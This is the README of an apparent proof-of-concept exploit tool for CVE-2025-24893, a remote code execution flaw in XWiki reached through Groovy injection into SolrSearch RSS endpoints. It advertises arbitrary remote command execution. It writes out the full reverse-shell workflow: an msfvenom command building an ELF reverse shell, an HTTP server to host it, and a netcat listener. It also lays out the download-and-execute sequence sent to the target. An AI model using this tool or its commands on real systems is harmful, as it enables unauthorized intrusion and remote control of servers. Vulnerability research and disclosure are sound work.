XWiki CVE-2025-24893 Proof of Concept

Authors: Net.Doge & Infinit3i

This Python script exploits CVE-2025-24893, a remote code execution (RCE) vulnerability in XWiki caused by improper sandboxing in Groovy macros rendered asynchronously. It allows arbitrary command execution through injection into RSS-based SolrSearch endpoints.

📌 Features

• Single command execution via Groovy injection
• Automatic reverse shell payload generation (with msfvenom)
• Option to customize:
  • Remote target
  • Local IP address
  • HTTP server port
  • Reverse shell beacon port
• Clean bash payload previews
• ANSI color-coded interactive TUI

🚀 Usage

1. Clone or download the script.

2. Make sure you have the following installed:

   • msfvenom from Metasploit
   • Python 3
   • jq (used in the bash payloads)

3. Run the script:

python3 CVE-2025-24893-PoC.py

4. Select from the menu:

   • Run Command – Execute any shell command remotely.
   • Reverse Shell – Generate and deploy an ELF reverse shell to the target.
   • Change Settings – Modify LHOST, RHOST, server port, or beacon port.

🧪 Reverse Shell Workflow

1. Payload is generated:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev

2. You are prompted to start a Python HTTP server and netcat listener:

python3 -m http.server 8080
nc -lvnp 31337

3. The script sends the following sequence to the target:

   • Download payload
   • Make it executable
   • Execute the binary
